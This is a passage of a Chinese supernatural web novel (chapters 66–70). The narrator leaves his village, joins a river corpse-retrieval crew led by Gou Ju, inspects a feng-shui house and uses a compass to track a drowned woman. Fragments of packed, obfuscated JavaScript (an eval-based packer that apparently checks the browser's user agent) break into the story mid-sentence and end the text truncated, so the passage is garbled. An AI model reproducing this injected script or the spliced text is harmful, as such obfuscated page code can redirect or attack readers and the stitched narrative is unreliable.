先前对付“胡喋”的时候,瞿大娘就上身爷爷,弄出过这锣声。 这才让无皮尸成功夺回皮,让胡喋没办法张冠李戴。 没想到,此刻这锣声,居然赶走了陈梁生。 让我爸恢复了“清醒”。 我更想不到的是,瞿大娘又会插手帮忙…… “跑得了和尚,跑不了庙,老陈家的根儿在这里。” “能走的人,就只有一个。”瞿大娘看我的眼神,充满了深邃。 她整个人,就充满了深邃。 时而苦笑不止,时而疯疯癫癫,这一刻,她像是个什么人都看不透的高人。 她话里的意思,居然是爷爷都不能跟着我走了? “为什么?”我哑声问。 “因为你什么都不懂,他把你老子的魂留下了,相当于你带不走你爸。”瞿大娘看我的眼神,透着一丝复杂和怜悯。 “这都是老陈家造孽,当年如果没有蟾山的事儿,老陈家何苦落到今天这个地步,何苦还要被人算计抢走家业传承?” “你爸带不走,总要有个人照顾,还有,你身边若跟着个老家伙,总会拖累你,留在这里,我看着,死不了。” 瞿大娘这番话明面上很简单,一听就懂。 抢家业的是陈梁生,会拖累我的是爷爷,她能保护他们。 可我总觉得,会有那么简单吗? 不带走他们,陈梁生会不会就一直盯着黄土坡呢? 还有……瞿大娘这时而疯癫,时而清醒的样子,我能信任她吗? 这时,瞿大娘却又继续开口了。 “你有几个时间段能离开,今天正午之前,必须出村,我指的是正午正刻,要在那之前,绝对不能在刚好的时候,你刚好在村里,或者是你离开黄土坡的任何地方。” “如果你没想在那个时段走,你就一直待在这里,等到正午过了之后,夜幕之前你要远离这村子,更要远离外边儿那条河道,你闯了弥天大祸,而现在,你已经不能弥补了。” 第一句话,我听得很拗口。 第二句话,浅显易懂,可我哪儿闯了祸? 这么长时间,我不都是在自保吗? 远离河道我倒是明白,水尸鬼爬出来了,要杀我,白姝灵也提醒过我这一点。 “你要尽快去一个地方,找一个人,这期间,你至少要学会一些老陈家的风水术,否则,你很难立足。”瞿大娘第三句话开了口, 随后,她手一甩,哐当的声响中,是两本书,一个手机落在桌上。 我懵了。 书,手机,我不是埋在了黄土坡的一处地方吗? “自作聪明,你以为,你瞒得过陈梁生?火神庙的庙祝,可不光是老鳏夫那样的风水先生,甚至要比胡喋还厉害一些,当初也是他太老了,才会被胡喋杀了,要不是我提前拿走东西,你已经把老陈家的家业拱手送人了。”瞿大娘说着话,眼神却盯着那两本书,明显,她眼中透着一丝丝的不舍。 随后,她从筲箕里取出来一样东西,看上去是个黑黑的皮馄饨,通俗来说,就是顶端能锁紧的包。 将包扔在桌上,瞿大娘才说:“书放进去,这包水火不侵,除非你死,不要让两本书离开你身上。” “离开黄渠村后,你就去市里的捞尸队,找一个叫苟驹的人。” “苟驹会安顿你,你好好学老陈家的本事,等你本领到了,自然能回来报仇。” 瞿大娘的安排,太妥当,太条理有序。 甚至让我觉得,这并非她临时起意,更像是早就被安排好的东西。 只是……这可能吗? 第66章 给我等着瞧! 期间,爷爷已经在我爸的脖子上缠了一条长长的布,封住他的伤口。 我爸手里攥着几袋子零食,他好像不知道疼痛了似的,咧嘴笑着。 “爷爷……”我刚开口。 爷爷就长叹一声,说:“听你瞿奶奶的话。” 我:“?” 爷爷的称呼,居然变了? 瞿大娘转过身,径直走出我住的土窑洞,往她院子的方向走去。 “哎。”爷爷拉着我爸,又走到我身旁,才说:“这都是陈芝麻,烂谷子的旧事儿了,她本名瞿九娘,你知道的信息,是她曾是你太爷爷,我父亲的徒弟,不光如此,她本来还是爷爷的童养媳,只不过老陈家没了,爷爷年轻的时候,觉得她年纪大了,看不上她,她才留在这里,成了大家眼中的守村人。” 爷爷的解释,让我一懵再懵。 我知道他们之间有纠葛,却没想到,是这种纠葛? “如果不是我固执,咱们家恐怕也不会被陈梁生算计,说多了,都是泪,她既然又出手了,还将我和你爸留下,你就放心去,我们指定能安全。”爷爷再度开口。 爷爷是真的信任瞿大娘。 不,信任瞿九娘。 只是,这一瞬我心里却落空到了极点。 至少爷爷和我爸在身边儿,我还觉得踏实,一下子,成了我自己要离村,他们要留在这危险之地,让我整个人都踩着高跷一样,内心难以平稳。 这时,爷爷却拉着我爸,是要出门的动作。 “爷爷……”我又喊了一声。 爷爷眼神一沉,一闭,把我爸拉出去后,重重关上了门。 “记住了棺生,莫说陈家的以后,就说现下我们俩爷子的命,都在你一人手里了,尽快回来,别让爷爷等太久。” “九娘以前就是个刚硬的女人,如今脾气不减,我怕她熬不住太久啊。” 声音响起的同时,门也完全闭合。 爷爷封门,是要封掉我的优柔寡断,封掉我的犹豫不决。 脚步声很急促,当我冲上前拉开门后,视线中,他们已经走远了。 一注阳光照射在我脸上,有些刺眼,我伸手捂住了脸。 屋子里还有些血腥味弥漫,我踉跄后退两步,怔怔看着桌上的血,一部分已经流淌至地面。 丧家之犬? 这四个字对于现在的我来说,好像十分贴切。 看似我在和陈梁生抵抗,还是被他接连克制。 虽说“胡喋”在对付我,可同样,“胡喋”也在我的引导下,对付了陈梁生。 只是,我没陈梁生厉害,被他牵着鼻子走了。 最后那一遭,反倒是被引导着去对付胡喋,还加上了瞿九娘的手段,算是破了陈梁生一个对手…… 黄渠村,我的确待不下去了。 他们两个就够我疲于奔命,再算上蟾山白蟾庙锁龙井里的凶尸,怕是用不了多久,就能杀了我。 留得青山在,不怕没柴烧。 好在,我不算是真的一个人。 掏出来了兜里的小人,心中,稍稍有了那么一丝慰藉。 将两本书塞进瞿九娘给我的皮馄饨中,这玩意儿一收紧,就是个很小的包袱,我没有挂身上,而是贴身藏在胸口。 随后我收拾了自己的行李,瞅一眼时间,才九点多。 瞿九娘说的正午正刻,应该是十二点钟准点的时候,用时辰上看,子时是十一点到一点,正刻取居中? 两三小时的时间,怎么都够我出村子了。 她还叮嘱,在那个时段我不能在村里,也不能在离开黄土坡的任何地方。 如果我是夜幕之前离开,更不能靠近河流。 白姝灵又提醒过我,要远离河道…… 这就意味着,白天我也不能走河的路段,那就只剩下一条正常的出村路了。 大白天的,就算那胡喋,一样不能对我怎么样。 至于陈梁生。 他能够从锁龙井里出来,就没有付出过丝毫代价? 锁龙井里的凶尸,就不怕陈梁生反水? 脑子里思绪连篇,我拉着行李箱,走出了黄土坡,朝着村南头回去。 回到正常村路上的时候,这个点,路上村民挺多的,瞧见我之后,都在指指点点。 他们嘴里的议论,都没什么好话。 既有人说什么都快过年了,怎么拖着行李要走? 又有人说,我家出了事,死了奶奶,多少和我有点儿关系,搞不好,就是因为我在从中作梗,我奶奶想要陈梁生回去,我不愿意,结果把老人逼死了。 这样一个人,怎么还能在家里待下去? 与其等被扫地出门,现在走,至少没那么难堪。 我还听到一个人讥讽,说:“读大学怎么了?真把自己当个人了,现在的娃娃,都眼高手低,说是瞧不上陈梁生,实际上,就是见不得别人比他强!现在城里头,一抓一大把送外卖的都是大学生,要不了多久,他陈棺生又得屁颠儿屁颠儿的回来,啃他大哥呢。” 陈梁生给自己营造的人设,太好了。 我在所有人的眼里,都不算什么东西。 他们没有经过我这几天所经过的苦难,还认为陈梁生是个好人? 像是他这种人,就算是给村民办好事儿,我都觉得,这肯定还在谋划别的东西。 到时候,这群村民被陈梁生卖了,恐怕都要帮着数钱? 不多久,我就横穿了村子,到了村口。 期间没有任何意外,我没瞧见胡喋,更没有看到陈梁生跟上来。 只是,村口的一幕,让人震惊。 本来,一条马路是直接贯穿进村内的,旧河道的位置是一个凹陷,像是U形公路,路面高过旧河道本身,但是比正常马路依旧要矮的多 现在那条公路的左侧,更深的旧河道路段,已经蓄上水,快要溢上路面。 似乎整条旧河道都要复苏! 相当多的村民簇拥在那里,口中议论不止,又在谩骂着什么。 阳光映射在水面上,波光粼粼。 我朝着村口靠近了几步,却瞧见不停泛着波浪的水面中,隐约有几张脸,面朝上,稍下方的位置,还有手脚,正在水里窜着。 水尸鬼! 大白天的,这一幕太耸人惊闻。 另一侧议论的村民还没有察觉,瞧见我后,又开始指指点点。 他们捎带着骂我,意思是我这个晦气东西,一回来,不光是自己家里死人,居然老河灌新水,村子路都要没了。 我扭头,盯着他们,哑声说:“离这里远一点儿。” 没有人搭理我。 相反方向,旧河道右侧,我余光瞧见一个人,他穿着很厚很厚的衣服,头都笼罩在帽子里,盯着我目不转睛。 我聚精会神看了一眼,从他的眼皮上,以及帽子裸露在外的半张脸上,瞧见了斑驳伤口,赫然是胡喋! 我打了个激灵,骤然转身,三两步跑过公路,路面都已经淌水了! 啪嗒的声响,我踩出来好几个湿漉漉的脚印。 出村那一瞬,阳光更大,大得让人头晕目眩。 就在这时,我手机嗡嗡震动起来。 摸出来一看,是个陌生的号码,不过,是本地的。 接通后,里边儿传来幽幽话音。 “你想好要走了吗?那下一次回来,你就是给他们收尸。” “把东西留下,我还能放过你们!” 我哑声回答:“你这么有种,这么多威逼利诱的话,怎么没见你出来追我呢?是你现在出不了村了吗?” 这就是我先前思索的东西,锁龙井里的凶尸,必然会用一些手段控制陈梁生才对。 听筒里,传出陈梁生的笑声,从低到大,带着一丝丝歇斯底里。 “你,给我等着瞧!” 随后,重重一声碎响,我只能听到嘟嘟嘟的声音了。 第67章 给咱露一手 陈梁生是真的要疯狂了。 只不过,我要走,他却奈何不得。 被阳光晒了那么久,习惯了这光线,眩晕感消失不见。 收起手机,余光注意到,先前在柳树下瞅着我的胡喋,已然不知去向。 其余杂乱的思绪,同样被我收了起来。 我朝着离村的方向走去。 黄渠村地处偏远,就连乡村巴士都很少,一口气走到镇上,用了得有两个多小时。 瞿九娘让我正午时刻一定出村,眼下,我已经远远离开村子十几里路。 安全了…… 找了一辆野租儿,拼车去市里。 无它,身上没多少钱,是真的拮据。 如果家里富裕,大概我爸就不会杀那头老黄牛,想着过年多吃两口肉了。 拼车很难熬,耗时间,好在我第一个上车,坐着副驾驶。 至于司机问我要去的准确位置,好送我。 瞿九娘没说清楚捞尸队在什么地方,只不过我隐隐听闻过一些相关的事儿,上网搜了一下,轻而易举就找到地址。 镇和市区隔着也就一百来公里,结果,下午四点多,我才到市区,因为捞尸队处于郊区,司机最后一个送我,等到捞尸队所在的回水湾时,都已经五点多,日暮西山了。 下车时,他还异样的眼光多看我几眼。 我面不改色,径直朝着一个方向走去。 回水湾是天沧江横穿市区的一个支流小河,乱七八糟的停着二三十条小船。 夕阳折射,水面波光粼粼。 我大抵清楚了,白姝灵不让我靠近河,井,水缸,这些有水的地方,是因为河伯娶亲的缘故,水尸鬼想杀死我。 不过水尸鬼都在黄渠村,离了村子应该无碍。 很快我走到停船的码头前,往后方一看,瞧见了一排房子。 房子最前端还立了个牌子,写着内沧市捞尸队。 我默默念了两个字,苟驹,便再朝着那排房子走去。 刚靠近地方,就闻到空气中一股浓烈的臭味儿,格外上头,既像是腐烂的肉臭,又有很浓烈的酒味,夹杂在一起,让人头晕。 “喂,你有啥事?”当头的平房门被推开,一名五十余岁的中年人上下打量着我。他平头,精瘦,皮肤略白,眼珠稍有泛黄。 “我找苟驹。”我哑声开口。 “嗯?找老苟的?”中年人眼中琢磨了一下,才说:“你家谁死了?报案捞过了没?咋就找到这儿了?有人推荐?” 他一连串的问题,问的我一懵。 “我家没人死,是一个叫瞿九娘的人,让我来这里找苟驹。”我一五一十回答。 “哦。”那中年人摸了摸头,出门,往平房后方走,扯着嗓子喊:“老苟,你龟儿子到处乱夺嘛,有个婆娘喊娃儿来找你了。” 我:“……” 这都什么和什么啊? 几分钟后,我就见到了苟驹。 四十来岁的年纪,大冬天,居然都一件单衣,脑壳剃的锃光瓦亮。 他一边从最内侧的平房门里出来,一边骂那中年人别打胡乱说,污蔑人名声。 很快,苟驹就停在我面前,一脸狐疑。 “哪个喊你找我的?”苟驹问。 “瞿九娘。”我定了定神,回答。 “姓陈?”苟驹瞳孔微缩。 “陈棺生。”我先报上了名字。 苟驹脸一下子灿烂的花儿一样,他左手握拳,狠狠砸在右手掌心,说:“妈拉个巴子,总算是把你等来了,啷个有点儿年轻啊。” 说着,苟驹又上下多打量了我几眼。 我不知道怎么说,忽然觉得有些心悸。 “来,先进来坐。”苟驹领着我往平房里侧走。 我跟进了最尾端的房间,屋子里酒臭味更浓,桌上放着七八个酒瓶子,还有半袋子没吃完的卤肉。 “九娘还交代过你啥?”苟驹开门见山。 “她说你会安顿我。”我如实回答。 “然后呢?”苟驹眉毛一皱。 “没了。”我摇头。 苟驹会安顿我,是瞿九娘的原话,至于我要学好老陈家的本领,还要回黄渠村,那就是我的事情。村里的经历,让我对任何事物都抱有一丝丝警惕,毕竟匹夫无罪,怀璧其罪。 陈梁生那么费劲心思想要的东西,其余这一行的人,能视若无睹吗? “没了?就没了,啥都没说?”苟驹还是有些犯嘀咕。 “有什么问题吗?”我逐渐觉得,有些不太对劲。 “嗯……倒是没什么问题,就是看你年纪不大,就学出师了?”苟驹点点头,说:“行吧,你先住我屋,等会儿我要出去捞个人,你跟着一块儿,露露手段?” 我:“?” 苟驹这番话,我是真没听明白。 下一刻,苟驹拍拍我肩膀,咧嘴笑了笑:“挺好,年少有为的小子,苟爷我等着长见识。” 他侧身走过我身旁,推门出去。 满是酒臭的屋子里,就只剩下我独身一人。 手掩着鼻子,我皱眉扫了一圈屋内。 我一直想的很简单,苟驹是和瞿九娘熟悉的一个人,甚至和老陈家有某种关系。 老陈家的手段不简单,蟾山山洞棺材前还有一份婚约,大几十年前,就安排了几十年后的事儿,婚约上更有我的生辰八字和名字。 那今日有我找苟驹,也有可能是某种安排? 只是,苟驹的反应告诉我,好像没那么简单? 我关心他给我安顿的住处。 他关心我年纪不大,出师,年少有为……还说他晚上要捞个人,让我跟着他,露露手段? 我满腹疑窦,给爷爷打了个电话,提示不在服务区。 打了三次,依旧打不通。 我想找瞿九娘问清楚状况。 吱呀一声,门开了,苟驹身后跟着七八个糙汉子进来,看稀奇似的打量着我。 “老狗,你莫开玩笑哦,他真嘞不是你私生子,是风水先生?你说儿豁。”开口的是先前和我打过照面的那中年男人,他声音很小,一脸狐疑。 苟驹拍了拍胸脯,道:“骗你搞锤子?瞿九娘晓得是哪个不?这天沧江内沧市,当年谁不晓得,拈花圣姑瞿九娘?当年我把传家宝给她的时候,她答应过我,二十年后,会喊个徒弟来找我,帮我处理三年水事,她承诺过,这徒弟至少有她五分功力。” 苟驹这话,说的信誓旦旦。 “今晚上你们都跟着上船,陈先生给咱们露一手。” 他看我的眼神精光连连,充满期待。 我:“……” 第68章 陈先生 苟驹那一句话里,就说了一大堆信息。 可对我来说,什么二十年后,什么徒弟,什么三年水事……我一句话都听不懂啊? “听名头,是这个。”有个汉子先竖起大拇指,才小声问苟驹:“那今晚上,你整哪坨的事儿?下过无情钩那里吗?” “那必须的。”苟驹咧嘴,都笑开花儿了。 随后他咳咳两声,清清嗓子,和我说:“陈先生见怪莫怪,我这几个弟兄家只听过风水先生的名号,真说要见,还没见过。” 苟驹,性格很爽朗,不难打交道。 我差不多理顺意思了。 瞿九娘拿了苟驹的东西,答应了还个徒弟过来做事儿,结果,徒弟她没有,把我拿过来顶包。 在我这里,瞿九娘只说苟驹会给我安排住处…… 我居然……被耍了? 一时间,胸腔发闷。 对我来说,对爷爷来说,甚至对我们老陈家来说,找个安全的地方待着,如此至关重要的一件大事,瞿九娘却毫不在意,甚至用我还人情。 我内心冒起来的第一个念头,是想离开这里。 我现在是明悟了,瞿九娘哪儿是什么疯婆子,她想哭就哭,想笑就笑,不爽就发怒,在其余人眼中的确和疯子无异。 可实际上,她根本没有管任何人的情绪看法,只顾自身。 思绪落定,我不想被人利用,最重要的是,我哪儿有那个水平让人来利用? 就凭我那三脚猫的风水术? 连纸上谈兵,都还不够格啊。 苟驹身后那几人,还在小声议论着什么。 我隐约听见几句,他们是说我,会不会生气了? 苟驹掸了掸他们衣服,喊着去去去,又扭头看我,一脸笑眯眯的神态。 一时间,我又不知道怎么开口。 直接走? 这苟驹,会不会翻脸? 毕竟,瞿九娘拿了人传家宝。 真翻脸,双拳难敌四手,搞不好,他们还会把我扣下来? 稍稍定了定神,我想好了,得找机会遛。 “能有个没酒气的房间吗?”我哑声开口,神态表情都是镇定的。 “呃,是有的,跟我来。”苟驹推开了身边几人,做了个请的动作。 出了他屋子,绕着走到平房后边儿,这里居然有个小二楼,独栋独院,就是很陈旧了,还是那种红砖墙的两层楼,房子的年纪,怕是比苟驹还大。 “房子还空起的,本来我就琢磨着,你来了之后住这里,还没来得及去买床铺被褥呢。”苟驹指了指房子,和我解释。 “嗯嗯。”我随意敷衍了两句。 “成,陈先生你先休息休息,我和弟兄几个去弄点下酒菜回来。” 说着,苟驹啪的一声拍了拍头顶,又道:“忘了,陈先生不喜欢酒味儿,今晚我们都不喝酒,搞点儿扎实的吃了,就去办正事儿。” 罢了,苟驹转过身,招呼了身后几人,匆匆忙忙的离开。 对我,他们没有一丝一毫的防备。 眼前,那房子门是虚掩着的,不需要钥匙就能推开。 我稍一迟疑,扭头看一眼后方,又往回走了几步,瞧见苟驹他们几人都走远了,离开了平房区域。 心,突突跳着。 我还想找机会跑呢,这机会不就来了吗? 可鬼使神差的,我又扭头看了一眼那房子。 红砖小二楼,又老又旧。 只不过,这种旧,没有给人那种老房子特有的阴霾感。 另外,房子基脚略高,像是往中间抬起来的。 我下意识的往前走了几步,进了房子虚掩的门,久无人住,很多灰尘。 房子多灰尘才是好事,旧宅无尘必有鬼居,这也是风水上的说法。 先前的“老鳏夫”,实际上是张冠李戴的胡喋, 他虽然教我的风水术很晦涩不入流,但是配合看过老陈家的葬经百解后,在风水方面,我是有一点点认知的。 径直走上楼梯,我上了二楼,又去了顶楼。 虽然是小二楼,但顶楼有个天台,天台处于房子正中央,能够绕着四面的墙,看到下方所有地势。 我绕着看了一圈儿,果然,这房子比四周都要高那么一米多点儿,而房子的整体构造,偏圆。 葬经百解的前边儿,有一些关于阳宅的说法,其中有一道,叫做“中高似莲花,安庄必大发,家财多富贵,紫袍金带家”。 这宅子虽然旧,但属实,是一件顶尖儿的好宅! 住在这里的人,一定会富贵多“余”,紫袍金带! 也就是说,我如果住在这儿,冥冥中风水就会对我这个人,形成一些改变! 瞿九娘,是这个意思? 我脑海中忽然升起了一个不切实际的想法。 这或许不是瞿九娘的意思,是老陈家,我爷爷的父亲,我太爷爷的安排。 他们算出来老陈家会有一个棺生子,算出来一系列的事情。 又促使瞿九娘去做了某件事儿,再将我安排到此地? 当然,这有可能是我自作聪明。 可就算是撇开这一切,这宅子对我都是百利而无一害…… 不知觉间,天,擦黑了。 兜里有些沉甸甸的,随后,身旁悄无声息多了个人。 白姝灵。 只不过,是眉眼冷冰冰,恨恨盯着我的白姝灵。 我扭过头,静静和她对视。 “胆小鬼,孬种。”白姝灵骂了我一句,又讥声说:“爸扔下了,爷爷不要了,一个人出来逃命,真有你的呢。” 我没吭声回答。 过了几秒钟,白姝灵脸上闪过一抹挣扎,随后她嘤咛一声,那清冷的眉眼,又瞬间成了乖巧。 “相公。”她柔声喊着。 我稍稍缓了口气。 “这里你觉得怎么样?”我问她。 白姝灵轻飘飘的转了一圈儿,眸子带着一丝奇异。 “有一股淡淡的暖意,是生气,咱们就住在这里了吗?” “可是,我们好像被那个守村人瞿九娘摆了一道。”白姝灵轻声说。 我的事情她都清楚,她没有对老陈家那么多理解,自然认为,我们被耍了一通。 我正打算解释呢。 白姝灵轻咦一声,指指我胸口,说:“你听,有什么声音?” 我开始还没反应过来,她这一提醒,我才听见,自己身上果然有一些嘶嘶声。 快速摸出来一样东西,是老陈家的罗盘。 此刻,罗盘的指针,居然在微微晃动着,古怪极了。 第69章 窥天机 风水中,罗盘是至关重要的法器,一旦罗盘动,就代表着风水或者宅气有变! 老鳏夫当年是有名声的风水先生,虽说白姝灵早年投河而死,但她一样是风水先生的女儿,多多少少是懂一点点风水的。 因此我先前才会问她,这里怎么样? 此刻白姝灵和罗盘稍稍保持距离,眼中却出现狐疑,似是没看明白。 伪装成老鳏夫的胡喋,给我那本蓝皮书中,描述过罗盘,却并没有仔细深入太多,反倒是葬经百解里,最前边儿就仔仔细细撰写一种术法,叫做罗经八针。 眼下这块罗盘就显露出来一种针法,其位于天盘正中的指针,微微上浮,凸起,轻晃。 白姝灵没看懂,我却能看懂,此针为兑,又叫浮针,出现这种针法,所处之地不是有已故先人,就是福神**。 前者,就是这里死过陈家人,福神**,又是另一件事儿了。 下意识的,我持着罗盘往前走动两步,指针上浮的角度更大,可再多走一步反而平复几分。 我没有在天台一直待着,持着罗盘去了二楼,二楼有两个房间,我全部都进去看了,罗盘指针的变化波动不大,且这两个房间都很简单,只有陈旧老床,以及衣柜,书桌这样的家具。 回到一楼,随着天更黑,这里光线要暗得多。 找到墙上的灯绳,啪嗒一声拉开,老旧钨丝灯的黄光投射满整个客厅,能瞧见敞开的厨房门,以及厕所和另一个房间门。 我仔仔细细的看着罗盘,继续在屋内走动。 在一楼那房间里,兑针变得更剧烈,上浮的针头几乎快飞出罗盘了! “陈先生,走,吃东西了!” 苟驹爽朗的话音入耳,同时我听到啪嗒啪嗒的脚步声。 在我身旁的白姝灵,瞬间消失不见。 我刚回过头,苟驹就立在房间门口,钨丝灯照的他的大光头都在反光。 他目光更多落在我手中的罗盘上,眼中更是精光乍现。 我反手,收起了罗盘。 “陈先生,这地方不错吧?旧是久了点儿?不过,这宅子有来历哩。”苟驹再开口,神态有着几分彰显。 我基本上已经决定,要住在这里了。 对瞿九娘的安排,不能只看表象,其中多半有深意。 这宅子的风水对人也好。 “什么来历?”我随意开口,朝着苟驹走去。 读书的时候,就有一些老陈的学生,故意穿西装打领带,装是校领导,骗过不少老师和同学。 苟驹认为我是风水先生,瞿九娘以前说过的话,更相当于奠定了一些苟驹的认知。 他对这件事情的期待性很大,我如果表现的像是个愣头青,恐怕会引起他的反感,甚至是其他不好的变化。 因此,我从开始的内心局促,此刻,成了表面神态笃定。 “那就小孩没娘,说来话长了,得是大几十年前了,有个和你同姓的陈家,不知道你晓得不,那是个风水世家,这宅子,就是其中一位先生分家出来的落脚地。” “那陈家主脉,有个响当当的名号,叫做金尺玄算,一把分金尺,测阴丈阳,分金定穴,一张玄口,口若悬河,却字字成卦,每一任的金尺玄算,那可都是大人物。” “就是可惜了,也不知道是他们干扰了太多命数,还是破了太多风水,又或是出了太多窥探天机的人,忽然有那么一段时间,陈家的人,那是**一个接一个,只要是陈家的,但凡是一只鸡,都得暴毙,就连住在这里的先生,和陈家分家了,最后也没逃掉一个离奇失踪的下场,估摸着也是暴毙了。” “偌大的风水家族,就这么没了。” “你说,惨不惨?”苟驹耸了耸肩,还叹了口气呢。 我心跳的速度却加快不少。 果然……这里就是陈家人住过的地方。 可从苟驹的言语中,我没办法分辨,是否当年陈家算了卦。 至少能肯定,瞿九娘让我来这里,就是有她的深意! 好像,苟驹并不知道,瞿九娘是我太爷爷的徒弟?并不知道,她和陈家有关系? “九娘前辈说过,她什么时候会来这儿看看不?”苟驹忽然问我。 他话锋转的让人猝不及防。 我摇摇头,说:“没说过。” “嗐,也是,伤心地呢,所以让徒弟来,理解,就是这么多年了,啥事情都该放下了啊。”苟驹再说着,这就更让我疑惑不解。 不知觉间,我们已经走出了小二楼,走到了前边儿那片平房。 苟驹没继续再说,而是推开一扇门,这屋子里整齐的多,就是一张圆桌,旁边还有消毒柜,以及一个半开放式的厨房。 桌上摆着一大堆菜,先前那七八人都坐在桌旁。 见我们进来了,马上起身,恭恭敬敬的喊了声陈先生。 说实话,这阵仗让我心头又紧了紧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“最主要的是,那娘们儿还不安分,老是找替死鬼,就昨儿,有个钓鱼的跳江了,旁边就有人看着,他明明是勾住了一条鱼,结果,他自己把衣服脱了,跳进江里,往深水里钻。当时其它人就赶紧报警,捞尸队一样闻讯而至,大中午的,人就飘起来了,还仰面朝天,**,这死娘们儿在我地界上,库库打我脸呢,我不把她弄上来,这行里头,就没法混了。” 我眼皮突突狂跳。 这不只是捞尸?顺道还夹着诈尸闹鬼? 就算我能把风水看妥,也不代表我能进水里捉东西啊。 闹呢? 第70章 水尸顶船 “咳咳。”许是说到激动的地方,苟驹被食物残渣呛到气管儿,咳的满脸通红,肺都快出来了似的。 “嗐,我们捞尸队在天沧江这地界,算是有点儿名气了,好多野路子的捞尸人,都瞄着呢,想进来喝口汤,这怎么行?”另一个人随即开口,说:“只要陈先生能点出来那娘们儿在哪儿,咱们弟兄几个,就能跟着老苟把尸体弄上来,这事儿是火烧眉毛了,恰好陈先生你来了,不然,今晚上就算撂两个人在水里,都得把她整出水面。” 那人显得气势汹汹。 当然,并非是针对我。 是针对这件事儿。 我稍稍松了口气,只是确定位置吗? 这就相当于在死水潭子里找到白姝灵的尸身一样? 我稍稍镇定了一些。 这件事儿,不算太苛刻,即便是对现在的我来说,都不难。 苟驹半晌缓了过来,说:“就是这么回事儿了。” 我点点头,没多说话,继续夹菜吃饭。 村里这几天,就没吃上几顿正经饭,热汤食,热饭菜,我吃了个撑肠拄腹。 随后,一行人离开捞尸队的平房,我跟着苟驹上了前边儿回水湾里的一艘船。 远看这些船都很小,类似于独木船一样。 实际上,船身也有两米宽,七八米长。 苟驹一条船,后边儿八人,四人一船。 三条船离开回水湾,朝着斜前方的主流河道驶去。 哐哐哐的发动机声很刺耳,江面上的风很大,月亮蒙着一层淡淡的雾气,又是鬼月亮。 恐怕,又得见鬼? 进了主河道后,船就显得很小了,整个江面得有二三百米宽,两侧是河岸堤坝,还修了不少公园。 大约十几分钟,入目所视一座大桥,桥身灯火璀璨,映射的水面都格外亮堂。 我还瞧见,桥下有一条船,船和苟驹这条大小相仿,上边儿居然还有个人。 这是个女人,身段姣好,头发扎在脑后,盘起,内里是黑色劲装,搭着一件小马褂,裤腿又缠了好几圈细麻绳。 捞尸队还有女人? 我心里是好奇的,这女人还很年轻,至多二十几岁,而且相貌很精致,柳叶眉,丹凤眼,鹅蛋脸,可以说是标准的美女了。 放在苟驹这一群糙汉子里,就是格格不入。 这时,女人弯腰弓背,似是在捯饬小腿上缠着的细麻绳。 柳腰长腿,腰臀之间勾出的那弧线,惊人夸张。 “哐当”一声闷响,苟驹的船,重重撞在了女人那艘船上。 两艘船都猛地一震,苟驹身体晃了两下,那女人却稳稳不动。 “过界了吧?是天太黑,雾太重,你船上没灯,看不见路?”苟驹言语冷厉,反感极了。 不是一路人? 我余光扫过后边儿两条船,他们左右交错,是将这女人的船围了起来,无一例外都是面沉似水。 女人直起腰身,眸子清冷扫过苟驹几人,才说:“过界了吗?换句话说,应该是我来帮你收拾烂摊子了吧?” 她说这番话的时候,目光是直视着苟驹的。 “放屁!”苟驹当即就骂出声:“老子的地界,老子管,你要坏规矩,信不信,明儿我就让人上你下游,给你下一排无情钩?” 女人依旧冷眼,摇摇头,说:“天沧江水狗,就这点儿本事了,捞不起江里的女尸,只会威胁人,把水搅浑?” “你求我,我都不想来帮你,是卢家派人来请,许诺了一大笔报酬,让我打捞起他家小姐,我才会来。” 这女人话音落罢,苟驹脸色变了变,其余人一样面面相觑。 正当此时,一注强光忽然射了过来,我当即捂着眼,避开光源,眼珠还是一阵刺痛,随后光源移开,苟驹猛地回过头,去看光源来处。 我跟着投过去视线,隐约能瞧见右侧江边,那里乌泱泱站着一票人。 “卢家小姐在水里三个月了,你捞不上来人不说,昨天还**一个普通人,按道理来讲,你得去左右河段请人相助,还得上门送礼,你不懂规矩没事,我拿了卢家的钱,办了卢家的事儿,就当让你占了便宜吧。”女人说完,她忽然后退两步,纵身一跃。 惊人的弹跳力,让她凌空一个翻转,噗通一声扎入水里,就连水花都没有溅射起来多少。 “操。”苟驹骂了一声脏话。 其余八人脸色难看极了,作势就要跳下水。 我差不多听明白了。 苟驹等人口中的死娘们,来自于一个姓卢的家族。 三个月,苟驹捞不上来人。 卢家等不下去,请了下游的捞尸人? 捞尸人之间,亦有竞争敌对,眼下苟驹为首的捞尸队,急的就是这一点。 “别下去!”苟驹低声喝止众人。 他扭头看向我,喘着粗气,说:“陈先生,看你的了,这娘们儿捞不起卢家小姐,能找到,我早就找到了。” 话是那么说,苟驹的脸色却更阴晴不定,眼神瞄了水面好几次,难掩急躁。 我定了定神,深吸一口气,掏出来了罗盘。 月光映射在罗盘表面,还有一些灯带霓虹的光,折射出一丝丝铜芒。 我盯着罗盘指针,这针却安安静静,一动不动。 手托举在面前,使得罗盘四平八稳,探出手,罗盘离开身体一段距离,我在原地转了一圈。 几人寂静无声,略显紧张的盯着我看。 一圈之后,我调整方位,面朝着西南侧,眼皮微跳的盯着罗盘指针。 指针嘶嘶转动起来,速度不快,却给人一种阴沉沉的森冷感。 “往这个方向撑船!”我指着西南方,沉声说。 苟驹毫不犹豫,立即往前撑船。 船身太晃,我拿不稳罗盘,就只能坐在船里头,双手维持罗盘平稳。 一晃眼,船撑出去了几十米,指针还是保持着那种转速。 “好了吗陈先生?”苟驹不自然的问我。 这时,水面是不是有光柱扫过,距离岸边近了一些,行船的方向,恰巧靠近江畔的那一群人。 “没有好,我不说停,你就别停。”我盯着罗盘,十分凝重。 罗经八针中,此针叫做转针!针头转而不止,代表怨恨之气徘徊。 当时下死水潭子的时候,要是有罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 